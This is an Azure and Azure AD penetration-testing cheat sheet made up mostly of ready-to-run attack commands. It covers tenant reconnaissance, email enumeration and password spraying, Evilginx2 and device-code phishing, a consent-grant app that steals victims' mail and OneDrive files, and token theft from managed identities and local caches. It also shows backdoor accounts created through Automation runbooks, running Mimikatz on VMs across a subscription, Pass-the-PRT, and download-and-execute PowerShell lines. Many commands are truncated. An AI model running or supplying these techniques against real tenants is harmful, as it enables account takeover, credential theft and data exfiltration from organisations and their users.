Cloud - Azure Pentesting

Summary

Azure Recon Tools

- **BloodHoundAD/AzureHound** - Azure Data Exporter for BloodHound

```
# First, retrieve a refresh token (-r) if username/password isn't supported.
# An access token (-j) isn't recommended because it can expire before the end
Install-Module AADInternals -Scope CurrentUser
Import-Module AADInternals
$rt = (Get-AADIntAccessToken -ClientId "1950a258-227b-4e31-a9cf-717495945fc2"

# Second, launch azurehound collector
./azurehound -r "0.AXMAMe..." list --tenant "753a0bc5-..." -o output.json

## Connects on your Azure account using the refresh token provided and the te
## and collects every possible objects in contoso.microsoft.com. Results are
./azurehound -r $rt --tenant "contoso.onmicrosoft.com" list -o azurehound-sca
## Sets configuration file with connection variables and other things (not re
./azurehound configure
## Collects every objects on all accessible tenants using username/password a
./azurehound -u "MattNelson@contoso.onmicrosoft.com" -p "MyVerySecurePassword
## Collects every objects on a specific tenant using username/password and st
./azurehound -u "phisheduser@contoso.onmicrosoft.com" -p "Password1" list -o
## Collects every objects on all tenants accessible using Service Principal s
./azurehound -a "6b5adee8-..." -s "<secret>" --tenant "contoso.onmicrosoft.co
## Collects AzureAD info (all except AzureRM info) using JWT access token
./azurehound -j "ey..." --tenant "contoso.onmicrosoft.com" list az-ad
## Collects every users using refresh token
./azurehound -r "0.ARwA6Wg..." --tenant "contoso.onmicrosoft.com" list users

# List of collections
az-ad: Collect all information available at the AzureAD tenant level. In most
az-rm: Collect all information available at the AzureRM subscription level. U

apps: Collects AzureAD application registration objects.
devices: Collects AzureAD devices regardless of join type.
groups: Collects AzureAD security-enabled groups, both role eligible and non
key-vaults: Collects AzureRM key vaults.
management-groups: Collects AzureRM management group objects
resource-groups: Collects AzureRM resource group objects
roles: Collects AzureAD admin role objects
```

```
service-principals: Collects AzureAD service principals
subscriptions: Collevts AzureRM subscriptions
tenants: Collevts AzureAD tenant objects
users: Collects AzureAD users, including any guest users in the target tenant
virtual-machines: Collects AzureRM virtual machines

# GUI access
bolt://localhost:7687
Username: neo4j
Password: BloodHound

# Custom Queries : https://tinyurl.com/2b3c6gax
# Cypher query examples:
MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p
MATCH (n) WHERE n.azname IS NOT NULL AND n.azname <> "" AND n.name IS NULL SE
```

- **BloodHoundAD/BARK** - BloodHound Attack Research Kit

```
. .\BARK.ps1
$MyRefreshTokenRequest = Get-AZRefreshTokenWithUsernamePassword -username "us
$MyMSGraphToken = Get-MSGraphTokenWithRefreshToken -RefreshToken $MyRefreshTo
$MyAADUsers = Get-AllAzureADUsers -Token $MyMSGraphToken.access_token -ShowPr
```

- **ROADTool** - The Azure AD exploration framework.

```
pipenv shell
roadrecon auth [-h] [-u USERNAME] [-p PASSWORD] [-t TENANT] [-c CLIENT] [--as
roadrecon gather [-h] [-d DATABASE] [-f TOKENFILE] [--tokens-stdin] [--mfa]
roadrecon auth -u test@<TENANT NAME>.onmicrosoft.com -p <PASSWORD>
roadrecon gather
roadrecon gui
```

- **Azure/StormSpotter** - Azure Red Team tool for graphing Azure and Azure Active Directory objects

```
# session 1 - backend
pipenv shell
python ssbackend.pyz

# session 2 - frontend
cd C:\Tools\stormspotter\frontend\dist\spa\
quasar.cmd serve -p 9091 --history

# session 3 - collector
```

```
pipenv shell
az login -u test@<TENANT NAME>.onmicrosoft.com -p <PASSWORD>
python C:\Tools\stormspotter\stormcollector\sscollector.pyz cli

# Web access on https://tinyurl.com/y6l2kmsd
Username: neo4j
Password: BloodHound
Server: bolt://localhost:7687
```

- **Microsoft Portals** - Microsoft Administrator Sites
- **nccgroup/Azucar** : Azucar automatically gathers a variety of configuration data and analyses all data relating to a particular subscription in order to determine security risks.

```
# You should use an account with at least read-permission on the assets you w
PS> Get-ChildItem -Recurse c:\Azucar_V10 | Unblock-File
PS> .\Azucar.ps1 -AuthMode UseCachedCredentials -Verbose -WriteLog -Debug -Ex
PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentia
PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentia
# resolve the TenantID for an specific username
PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com
```

- **FSecureLABS/Azurite Explorer** and **Azurite Visualizer** : Enumeration and reconnaissance activities in the Microsoft Azure Cloud.

```
git submodule init
git submodule update
PS> Import-Module AzureRM
PS> Import-Module AzuriteExplorer.ps1
PS> Review-AzureRmSubscription
PS> Review-CustomAzureRmSubscription
```

- **NetSPI/MicroBurst** - MicroBurst includes functions and scripts that support Azure Services discovery, weak configuration auditing, and post exploitation actions such as credential dumping

```
PS C:> Import-Module .\MicroBurst.psm1
PS C:> Import-Module .\Get-AzureDomainInfo.ps1
PS C:> Get-AzureDomainInfo -folder MicroBurst -Verbose
```

- **cyberark/SkyArk** - Discover the most privileged users in the scanned Azure environment - including the Azure Shadow Admins.

Require:

- Read-Only permissions over Azure Directory (Tenant)
- Read-Only permissions over Subscription
- Require AZ and AzureAD module or administrator right

```
$ powershell -ExecutionPolicy Bypass -NoProfile
PS C> Import-Module .\SkyArk.ps1 -force
PS C> Start-AzureStealth
PS C> IEX (New-Object Net.WebClient).DownloadString('https://tinyurl.com/2dok
PS C> Scan-AzureAdmins
```

- **hausec/PowerZure** - PowerShell framework to assess Azure security

```
# Require az module !
$ ipmo .\PowerZure
$ Set-Subscription -Id [idgoeshere]

# Reader
$ Get-Runbook, Get-AllUsers, Get-Apps, Get-Resources, Get-WebApps, Get-WebAppl

# Contributor
$ Execute-Command -OS Windows -VM Win10Test -ResourceGroup Test-RG -Command "
$ Execute-MSBuild -VM Win10Test  -ResourceGroup Test-RG -File "build.xml"
$ Get-AllSecrets # AllAppSecrets, AllKeyVaultContents
$ Get-AvailableVMDisks, Get-VMDisk # Download a virtual machine's disk

# Owner
$ Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest

# Administrator
$ Create-Backdoor, Execute-Backdoor
```

Authenticating to the Microsoft Graph API in PowerShell

- Microsoft Applications ID

Name	GUID
Microsoft Azure PowerShell	1950a258-227b-4e31-a9cf-717495945fc2
Microsoft Azure CLI	04b07795-8ddb-461a-bbee-02f9e1bf7b46
Portail Azure	c44b4083-3bb0-49c1-b47d-974e53cbdf3c

Graph API Refresh Token

Authenticating to the Microsoft Graph API in PowerShell

```
$body = @{
    "client_id" =     "1950a258-227b-4e31-a9cf-717495945fc2"
    "resource" =      "https://tinyurl.com/vuvynoa" # Microsoft Graph API
}
$UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
$Headers=@{}
$Headers["User-Agent"] = $UserAgent
$authResponse = Invoke-RestMethod `
    -UseBasicParsing `
    -Method Post `
    -Uri "https://tinyurl.com/23elhvu6" `
    -Headers $Headers `
    -Body $body
$authResponse
```

Graph API Access Token

This request require getting the Refresh Token.

```
$body=@{
    "client_id" =  "1950a258-227b-4e31-a9cf-717495945fc2"
    "grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
    "code" =       $authResponse.device_code
}
$Tokens = Invoke-RestMethod `
    -UseBasicParsing `
    -Method Post `
    -Uri "https://tinyurl.com/23lgtj3v" `
    -Headers $Headers `
    -Body $body
$Tokens
```

Terminology

> Basic Azure AD terminologies

- **Tenant**: An instance of Azure AD and represents a single organization.
- **Azure AD Directory**: Each tenant has a dedicated Directory. This is used to perform identity and access management functions for resources.

- **Subscriptions**: It is used to pay for services. There can be multiple subscriptions in a Directory.
- **Core Domain**: The initial domain name .onmicrosoft.com is the core domain. It is possible to define custom domain names too.

Training

- AzureGoat : A Damn Vulnerable Azure Infrastructure - https://tinyurl.com/29c4zu89

Enumeration

Enumerate valid emails

> By default, O365 has a lockout policy of 10 tries, and it will lock out an account for one (1) minute.

- Validate email

```
PS> C:\Python27\python.exe C:\Tools\o365creeper\o365creeper.py -f C:\Tools\ema
admin@<TENANT NAME>.onmicrosoft.com   - VALID
root@<TENANT NAME>.onmicrosoft.com    - INVALID
test@<TENANT NAME>.onmicrosoft.com    - VALID
contact@<TENANT NAME>.onmicrosoft.com - INVALID
```

- Extract email lists with a valid credentials : https://tinyurl.com/2yeuf5l4

Password spraying

```
PS> . C:\Tools\MSOLSpray\MSOLSpray.ps1
PS> Invoke-MSOLSpray -UserList C:\Tools\validemails.txt -Password <PASSWORD> -Ver
```

Enumerate Azure Subdomains

```
PS> . C:\Tools\MicroBurst\Misc\InvokeEnumerateAzureSubDomains.ps1
PS> Invoke-EnumerateAzureSubDomains -Base <TENANT NAME> -Verbose
Subdomain Service
--------- -------
<TENANT NAME>.mail.protection.outlook.com Email
<TENANT NAME>.onmicrosoft.com Microsoft Hosted Domain
```

Enumerate tenant with Azure AD Powershell

```
Import-Module C:\Tools\AzureAD\AzureAD.psd1
Import-Module C:\Tools\AzureADPreview\AzureADPreview.psd1
PS> $passwd = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force
PS> $creds = New-Object System.Management.Automation.PSCredential("test@<TENANT N
PS Az> Connect-AzureAD -Credential $creds

PS AzureAD> Get-AzureADUser -All $true
PS AzureAD> Get-AzureADUser -All $true | select UserPrincipalName
PS AzureAD> Get-AzureADGroup -All $true
PS AzureAD> Get-AzureADDevice
PS AzureAD> Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrato
PS AzureADPreview> Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | sel
```

Enumerate tenant with Az Powershell

```
PS> $passwd = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force
PS> $creds = New-Object System.Management.Automation.PSCredential ("test@<TENANT
PS Az> Connect-AzAccount -Credential $creds

PS Az> Get-AzResource
PS Az> Get-AzRoleAssignment -SignInName test@<TENANT NAME>.onmicrosoft.com
PS Az> Get-AzVM | fl
PS Az> Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"}
PS Az> Get-AzFunctionApp
PS Az> Get-AzStorageAccount | fl
PS Az> Get-AzKeyVault
```

Enumerate tenant with az cli

```
PS> az login -u test@<TENANT NAME>.onmicrosoft.com -p <PASSWORD>
PS> az vm list
PS> az vm list --query "[].[name]" -o table
PS> az webapp list
PS> az functionapp list --query "[].[name]" -o table
PS> az storage account list
PS> az keyvault list
```

Enumerate manually

- Federation with Azure AD or O365

```
https://tinyurl.com/25prx3ff
https://tinyurl.com/25mcr9sj NAME>.onmicrosoft.com&xml=1
```

- Get the Tenant ID

```
https://tinyurl.com/23cuvzk8
https://tinyurl.com/2c6jkclw NAME>.onmicrosoft.com/.well-known/openid-configu
```

Enumeration methodology

```
# Check Azure Joined
PS> dsregcmd.exe /status
+----------------------------------------------------------------------+
| Device State |
+----------------------------------------------------------------------+
 AzureAdJoined : YES
 EnterpriseJoined : NO
 DomainJoined : NO
 Device Name : jumpvm

# Enumerate resources
PS Az> Get-AzResource

# Enumerate role assignments
PS Az> Get-AzRoleAssignment -Scope /subscriptions/<SUBSCRIPTION-ID>/resourceGroup

# Get info on a role
PS Az> Get-AzRoleDefinition -Name "Virtual Machine Command Executor"

# Get info user
PS AzureAD> Get-AzureADUser -ObjectId <ID>
PS AzureAD> Get-AzureADUser -ObjectId test@<TENANT NAME>.onmicrosoft.com | fl *

# List all groups
PS AzureAD> Get-AzureADGroup -All $true

# Get members of a group
PS Az> Get-AzADGroup -DisplayName '<GROUP-NAME>'
PS Az> Get-AzADGroupMember -GroupDisplayName '<GROUP-NAME>' | select UserPrincipa

# Get Azure AD information
PS> Import-Module C:\Tools\AADInternals\AADInternals.psd1
PS AADInternals> Get-AADIntLoginInformation -UserName admin@<TENANT NAME>.onmicro
PS AADInternals> Get-AADIntTenantID -Domain <TENANT NAME>.onmicrosoft.com # Get T
```

```
PS AADInternals> Invoke-AADIntReconAsOutsider -DomainName <DOMAIN> # Get all the

# Check if there is a user logged-in to az cli
PS> az ad signed-in-user show

# Check AppID Alternative Names/Display Name
PS AzureAD> Get-AzureADServicePrincipal -All $True | ?{$_.AppId -eq "<APP-ID>"} |


# Get all application objects registered using the current tenant
PS AzureAD> Get-AzureADApplication -All $true

# Get all details about an application
PS AzureAD> Get-AzureADApplication -ObjectId <ID> | fl *

# List all VM's the user has access to
PS Az> Get-AzVM
PS Az> Get-AzVM | fl

# Get all function apps
PS Az> Get-AzFunctionApp

# Get all webapps
PS Az> Get-AzWebApp
PS Az> Get-AzWebApp | select-object Name, Type, Hostnames

# List all storage accounts
PS Az> Get-AzStorageAccount
PS Az> Get-AzStorageAccount | fl

# List all keyvaults
PS Az> Get-AzKeyVault
```

Phishing with Evilginx2

```
PS C:\Tools> evilginx2 -p C:\Tools\evilginx2\phishlets
: config domain username.corp
: config ip 10.10.10.10
: phishlets hostname o365 login.username.corp
: phishlets get-hosts o365

Create a DNS entry for login.login.username.corp and www.login.username.corp, typ

# copy certificate and enable the phishing
PS C:\Tools> Copy-Item C:\Users\Username\.evilginx\crt\ca.crt C:\Users\Username\.
PS C:\Tools> Copy-Item C:\Users\Username\.evilginx\crt\private.key C:\Users\Usern
```

```
: phishlets enable o365

# get the phishing URL
: lures create o365
: lures get-url 0
```

Illicit Consent Grant

> The attacker creates an Azure-registered application that requests access to data such as contact information, email, or documents. The attacker then tricks an end user into granting consent to the application so that the attacker can gain access to the data that the target user has access to.

Check if users are allowed to consent to apps: `PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole`

- **Disable user consent** : Users cannot grant permissions to applications.
- **Users can consent to apps from verified publishers or your organization, but only for permissions you select** : All users can only consent to apps that were published by a verified publisher and apps that are registered in your tenant
- **Users can consent to all apps** : allows all users to consent to any permission which doesn't require admin consent,
- **Custom app consent policy**

Register Application

1. Login to https://tinyurl.com/ycon5epg > Azure Active Directory
2. Click on **App registrations** > **New registration**
3. Enter the Name for our application
4. Under support account types select **"Accounts in any organizational directory (Any Azure AD directory - Multitenant)"**
5. Enter the Redirect URL. This URL should be pointed towards our 365-Stealer application that we will host for hosting our phishing page. Make sure the endpoint is `https://<DOMAIN/IP>:<PORT>/login/authorized` .
6. Click **Register** and save the **Application ID**

Configure Application

1. Click on `Certificates & secrets`

2. Click on `New client secret` then enter the **Description** and click on **Add**.
3. Save the **secret**'s value.
4. Click on API permissions > Add a permission
5. Click on Microsoft Graph > **Delegated permissions**
6. Search and select the below mentioned permissions and click on Add permission
    - Contacts.Read
    - Mail.Read / Mail.ReadWrite
    - Mail.Send
    - Notes.Read.All
    - Mailboxsettings.ReadWrite
    - Files.ReadWrite.All
    - User.ReadBasic.All
    - User.Read

Setup 365-Stealer (Deprecated)

:warning: Default port for 365-Stealer phishing is 443

- Run XAMPP and start Apache
- Clone 365-Stealer into `C:\xampp\htdocs\`
    - `git clone https://tinyurl.com/26mr9lod`
- Install the requirements
    - Python3
    - PHP CLI or Xampp server
    - `pip install -r requirements.txt`
- Enable sqlite3 (Xampp > Apache config > php.ini) and restart Apache
- Edit `C:/xampp/htdocs/yourvictims/index.php` if needed
    - Disable IP whitelisting `$enableIpWhiteList = false;`
- Go to 365-Stealer Management portal > Configuration (https://tinyurl.com/27mdfaf8)
    - **Client Id** (Mandatory): This will be the Application(Client) Id of the application that we registered.
    - **Client Secret** (Mandatory): Secret value from the Certificates & secrets tab that we created.
    - **Redirect URL** (Mandatory): Specify the redirect URL that we entered during registering the App like `https://<Domain/IP>/login/authorized`
    - **Macros Location**: Path of macro file that we want to inject.
    - **Extension in OneDrive**: We can provide file extensions that we want to download from

the victims account or provide `*` to download all the files present in the victims OneDrive. The file extensions should be comma separated like txt, pdf, docx etc.
    - **Delay**: Delay the request by specifying time in seconds while stealing
- Create a Self Signed Certificate to use HTTPS
- Run the application either click on the button or run this command : `python 365-Stealer.py --run-app`
    - `--no-ssl` : disable HTTPS
    - `--port` : change the default listening port
    - `--token` : provide a specific token
    - `--refresh-token XXX --client-id YYY --client-secret ZZZ` : use a refresh token
- Find the Phishing URL: go to `https://<IP/Domain>:<Port>` and click on **Read More** button or in the console.

Setup Vajra

> Vajra is a UI-based tool with multiple techniques for attacking and enumerating in the target's Azure environment. It features an intuitive web-based user interface built with the Python Flask module for a better user experience. The primary focus of this tool is to have different attacking techniques all at one place with web UI interfaces. - https://tinyurl.com/25gnchc5

Mitigation: Enable `Do not allow user consent` for applications in the "Consent and permissions menu".

Device Code Phish

Requirements:

- Azure AD / Office 365 E3 Subscription

Exploitation:

- Import TokenTactics: `PS C:\TokenTactics> Import-Module .\TokenTactics.psd1`
- Request a device code for the Azure Graph API using TokenTactics: `Get-AzureToken -Client Graph`
- Replace `<REPLACE-WITH-DEVCODE-FROM-TOKENTACTICS>` in the phishing email
- Leave TokenTactics running in the PowerShell window and send the phishing email
- Targeted user will follow the link to https://tinyurl.com/y2c37yg8 and complete the Device Code form
- Enjoy your **Access Token** & **Refresh Token**

Token from Managed Identity

> **MSI_ENDPOINT** is an alias for **IDENTITY_ENDPOINT**, and **MSI_SECRET** is an alias for **IDENTITY_HEADER**.

Find IDENTITY_HEADER and IDENTITY_ENDPOINT from the environment : `env`

Most of the time, you want a token for one of these resources:

- https://tinyurl.com/2actldmf
- https://tinyurl.com/22ehmojo
- https://tinyurl.com/vuvynoa
- https://tinyurl.com/25y92tln

Azure API via Powershell

Get **access_token** from **IDENTITY_HEADER** and **IDENTITY_ENDPOINT**: `system('curl "$IDENTITY_ENDPOINT?resource=https://tinyurl.com/25y92tln/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER'); .`

Then query the Azure REST API to get the **subscription ID** and more .

```
$Token = 'eyJ0eX..'
$URI = 'https://tinyurl.com/25y92tln/subscriptions?api-version=2020-01-01'
# $URI = 'https://tinyurl.com/vuvynoa/v1.0/applications'
$RequestParams = @{
 Method = 'GET'
 Uri = $URI
 Headers = @{
 'Authorization' = "Bearer $Token"
 }
}
(Invoke-RestMethod @RequestParams).value

# List resources and check for runCommand privileges
$URI = 'https://tinyurl.com/25y92tln/subscriptions/b413826f-108d-4049-8c11-d52d5d
$URI = 'https://tinyurl.com/25y92tln/subscriptions/b413826f-108d-4049-8c11-d52d5d
```

Azure API via Python Version

```
IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
IDENTITY_HEADER = os.environ['IDENTITY_HEADER']
```

```
print("[+] Management API")
cmd = 'curl "%s?resource=https://tinyurl.com/25y92tln/&api-version=2017-09-01" -H
val = os.popen(cmd).read()
print("Access Token: "+json.loads(val)["access_token"])
print("ClientID/AccountID: "+json.loads(val)["client_id"])

print("\r\n[+] Graph API")
cmd = 'curl "%s?resource=https://tinyurl.com/vuvynoa/&api-version=2017-09-01" -H
val = os.popen(cmd).read()
print(json.loads(val)["access_token"])
print("ClientID/AccountID: "+json.loads(val)["client_id"])
```

or inside a Python Function:

```
import logging, os
import azure.functions as func

def main(req: func.HttpRequest) -> func.HttpResponse:
    logging.info('Python HTTP trigger function processed a request.')
    IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
    IDENTITY_HEADER = os.environ['IDENTITY_HEADER']
    cmd = 'curl "%s?resource=https://tinyurl.com/25y92tln&apiversion=2017-09-01"
    val = os.popen(cmd).read()
    return func.HttpResponse(val, status_code=200)
```

Get Tokens

:warning: The lifetime of a Primary Refresh Token is 14 days!

```
# az cli - get tokens
az account get-access-token
az account get-access-token --resource-type aad-graph
# or Az
(Get-AzAccessToken -ResourceUrl https://tinyurl.com/vuvynoa).Token
# or from a managed identity using IDENTITY_HEADER and IDENTITY_ENDPOINT
```

Use Tokens

> Tokens contain all the claims including that for MFA and Conditional Access

- Az Powershell

```
PS C:\Tools> $token = 'eyJ0e..'
PS C:\Tools> Connect-AzAccount -AccessToken $token -AccountId <ACCOUNT-ID>
```

```
# Access Token and Graph Token
PS C:\Tools> $token = 'eyJ0eX..'
PS C:\Tools> $graphaccesstoken = 'eyJ0eX..'
PS C:\Tools> Connect-AzAccount -AccessToken $token -GraphAccessToken $graphac
PS C:\Tools> Get-AzResource
# ERROR: 'this.Client.SubscriptionId' cannot be null.
# ---> The managed identity has no rights on any of the Azure resources. Swit
```

- AzureAD

```
Import-Module C:\Tools\AzureAD\AzureAD.psd1
$AADToken = 'eyJ0…'
Connect-AzureAD -AadAccessToken $AADToken -TenantId <TENANT-ID> -AccountId <A
```

Refresh Tokens

- https://tinyurl.com/28tjojxn

```
Lantern.exe cookie --derivedkey <Key from Mimikatz> --context <Context from M
Lantern.exe mdm --joindevice --accesstoken (or some combination from the toke
Lantern.exe token --username <Username> --password <Password>
Lantern.exe token --refreshtoken <RefreshToken>
Lantern.exe devicekeys --pfxpath XXXX.pfx --refreshtoken (--prtcookie / ---us
```

- https://tinyurl.com/2abk6sfx

```
Import-Module .\TokenTactics.psd1
CommandType     Name                                               Version
-----------     ----                                               -------
Function        Clear-Token                                        0.0.1
Function        Dump-OWAMailboxViaMSGraphApi                       0.0.1
Function        Forge-UserAgent                                    0.0.1
Function        Get-AzureToken                                     0.0.1
Function        Get-TenantID                                       0.0.1
Function        Open-OWAMailboxInBrowser                           0.0.1
Function        Parse-JWTtoken                                     0.0.1
Function        RefreshTo-AzureCoreManagementToken                 0.0.1
Function        RefreshTo-AzureManagementToken                     0.0.1
Function        RefreshTo-DODMSGraphToken                          0.0.1
Function        RefreshTo-GraphToken                               0.0.1
Function        RefreshTo-MAMToken                                 0.0.1
Function        RefreshTo-MSGraphToken                             0.0.1
Function        RefreshTo-MSManageToken                            0.0.1
Function        RefreshTo-MSTeamsToken                             0.0.1
Function        RefreshTo-O365SuiteUXToken                         0.0.1
```

```
Function        RefreshTo-OfficeAppsToken                    0.0.1
Function        RefreshTo-OfficeManagementToken              0.0.1
Function        RefreshTo-OutlookToken                       0.0.1
Function        RefreshTo-SubstrateToken                     0.0.1
```

Stealing Tokens

- Get-AzurePasswords

```
Import-Module Microburst.psm1
Get-AzurePasswords
Get-AzurePasswords -Verbose | Out-GridView
```

Stealing tokens from az cli

- az cli stores access tokens in clear text in **accessTokens.json** in the directory `C:\Users\<username>\.Azure`
- azureProfile.json in the same directory contains information about subscriptions.

Stealing tokens from az powershell

- Az PowerShell stores access tokens in clear text in **TokenCache.dat** in the directory `C:\Users\<username>\.Azure`
- It also stores **ServicePrincipalSecret** in clear-text in **AzureRmContext.json**
- Users can save tokens using `Save-AzContext`

Add credentials to all Enterprise Applications

```
# Add secrets
PS > . C:\Tools\Add-AzADAppSecret.ps1
PS > Add-AzADAppSecret -GraphToken $graphtoken -Verbose

# Use secrets to authenticate as Service Principal
PS > $password = ConvertTo-SecureString '<SECRET/PASSWORD>' -AsPlainText -Force
PS > $creds = New-Object System.Management.Automation.PSCredential('<AppID>', $pa
PS > Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant '<TenantID>'
```

Spawn SSH for Azure Web App

```
az webapp create-remote-connection --subscription <SUBSCRIPTION-ID> --resource-gr
```

Azure Storage Blob

- Blobs - `*.blob.core.windows.net`
- File Services - `*.file.core.windows.net`
- Data Tables - `*.table.core.windows.net`
- Queues - `*.queue.core.windows.net`

Enumerate blobs

```
PS > . C:\Tools\MicroBurst\Misc\InvokeEnumerateAzureBlobs.ps1
PS > Invoke-EnumerateAzureBlobs -Base <SHORT DOMAIN> -OutputFile azureblobs.txt
Found Storage Account -  testsecure.blob.core.windows.net
Found Storage Account -  securetest.blob.core.windows.net
Found Storage Account -  securedata.blob.core.windows.net
Found Storage Account -  securefiles.blob.core.windows.net
```

SAS URL

- Use Storage Explorer
- Click on **Open Connect Dialog** in the left menu.
- Select **Blob container**.
- On the **Select Authentication Method** page
  - Select **Shared access signature (SAS)** and click on Next
  - Copy the URL in **Blob container SAS URL** field.

:warning: You can also use `subscription` (username/password) to access storage resources such as blobs and files.

List and download blobs

```
PS Az> Get-AzResource
PS Az> Get-AzStorageAccount -name <NAME> -ResourceGroupName <NAME>
PS Az> Get-AzStorageContainer -Context (Get-AzStorageAccount -name <NAME> -Resour
PS Az> Get-AzStorageBlobContent -Container <NAME> -Context (Get-AzStorageAccount
```

Runbook Automation

Create a Runbook

```
# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part
az ad signed-in-user list-owned-objects

# If the user is not part of an "Automation" group.
# Add him to a custom group , e.g: "Automation Admins"
Add-AzureADGroupMember -ObjectId <OBJID> -RefObjectId <REFOBJID> -Verbose

# Get the role of a user on the Automation account
# Contributor or higher = Can create and execute Runbooks
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/provider

# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -Re

# Create a Powershell Runbook
PS C:\Tools> Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\usern

# Publish the Runbook
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <A

# Start the Runbook
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -Automa
```

Persistence via Automation accounts

- Create a new Automation Account
  - "Create Azure Run As account": Yes
- Import a new runbook that creates an AzureAD user with Owner permissions for the subscription*
  - Sample runbook for this Blog located here – https://tinyurl.com/27zfacq2
  - Publish the runbook
  - Add a webhook to the runbook
- Add the AzureAD module to the Automation account
  - Update the Azure Automation Modules
- Assign "User Administrator" and "Subscription Owner" rights to the automation account
- Eventually lose your access...
- Trigger the webhook with a post request to create the new user

```
$uri = "https://tinyurl.com/2bffsxun"
$AccountInfo  = @(@{RequestBody=@{Username="BackdoorUsername";Password="Backd
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body
```

Virtual Machine RunCommand

Requirements:

- `Microsoft.Compute/virtualMachines/runCommand/action`

```
# Get Public IP of VM : query the network interface
PS AzureAD> Get-AzVM -Name <RESOURCE> -ResourceGroupName <RG-NAME> | select -Expa
PS AzureAD> Get-AzNetworkInterface -Name <RESOURCE368>
PS AzureAD> Get-AzPublicIpAddress -Name <RESOURCEIP>

# Execute Powershell script on the VM
PS AzureAD> Invoke-AzVMRunCommand -VMName <RESOURCE> -ResourceGroupName <RG-NAME>

# Connect via WinRM
PS C:\Tools> $password = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
PS C:\Tools> $creds = New-Object System.Management.Automation.PSCredential('usern
PS C:\Tools> $sess = New-PSSession -ComputerName <IP> -Credential $creds -Session
PS C:\Tools> Enter-PSSession $sess
```

> Allow anyone with "Contributor" rights to run PowerShell scripts on any Azure VM in a subscription as NT Authority\System

```
# List available VMs
PS C:\> Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select R
ResourceGroupName    Name
-----------------    ----
TESTRESOURCES        Remote-Test

# Execute Powershell script on the VM
PS C:\> Invoke-AzureRmVMRunCommand -ResourceGroupName TESTRESOURCES -VMName Remot
```

Against the whole subscription using MicroBurst.ps1

```
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
```

KeyVault Secrets

```
# keyvault access token
curl "$IDENTITY_ENDPOINT?resource=https://tinyurl.com/22ehmojo&apiversion=2017-09
curl "$IDENTITY_ENDPOINT?resource=https://tinyurl.com/25y92tln&apiversion=2017-09

# connect
PS> $token = 'eyJ0..'
PS> $keyvaulttoken = 'eyJ0..'
PS Az> Connect-AzAccount -AccessToken $token -AccountId 2e91a4fea0f2-46ee-8214-fa

# query the vault and the secrets
PS Az> Get-AzKeyVault
PS Az> Get-AzKeyVaultSecret -VaultName ResearchKeyVault
PS Az> Get-AzKeyVaultSecret -VaultName ResearchKeyVault -Name Reader -AsPlainText
```

Pass The PRT

> MimiKatz (version 2.2.0 and above) can be used to attack (hybrid) Azure AD joined machines for lateral movement attacks via the Primary Refresh Token (PRT) which is used for Azure AD SSO (single sign-on).

```
# Run mimikatz to obtain the PRT
PS> iex (New-Object Net.Webclient).downloadstring("https://tinyurl.com/yh7geysp")
PS> Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

# Copy the PRT and KeyValue
Mimikatz> privilege::debug
Mimikatz> token::elevate
Mimikatz> dpapi::cloudapkd /keyvalue:<KeyValue> /unprotect

# Copy the Context, ClearKey and DerivedKey
Mimikatz> dpapi::cloudapkd /context:<Context> /derivedkey:<DerivedKey> /Prt:<PRT>


# Generate a JWT
PS> Import-Module C:\Tools\AADInternals\AADInternals.psd1
PS AADInternals> $PRT_OF_USER = '...'
PS AADInternals> while($PRT_OF_USER.Length % 4) {$PRT_OF_USER += "="}
PS AADInternals> $PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64Stri
PS AADInternals> $ClearKey = "XXYYZZ..."
PS AADInternals> $SKey = [convert]::ToBase64String( [byte[]] ($ClearKey -replace
PS AADInternals> New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -Get
eyJ0eXAiOiJKV1QiL...
```

The `<Signed JWT>` (JSON Web Token) can be used as PRT cookie in a (anonymous) browser session for https://tinyurl.com/2cspnu22
Edit the Chrome cookie (F12) -> Application -> Cookies with the values:

```
Name: x-ms-RefreshTokenCredential
Value: <Signed JWT>
HttpOnly: √
```

:warning: Mark the cookie with the flags `HTTPOnly` and `Secure`.

Pass The Certificate

```
Copy-Item -ToSession $jumpvm -Path C:\Tools\PrtToCertmaster.zip -Destination C:\U
Expand-Archive -Path C:\Users\Username\Documents\username\PrtToCert-master.zip -D

# Require the PRT, TenantID, Context and DerivedKey
& 'C:\Program Files\Python39\python.exe' C:\Users\Username\Documents\username\Prt
# PFX saved with the name <Username>@<TENANT NAME>.onmicrosoft.com.pfx and passwo
```

Python tool that will authenticate to the remote machine, run PSEXEC and open a CMD on the victim machine

https://tinyurl.com/29lf8ucr

```
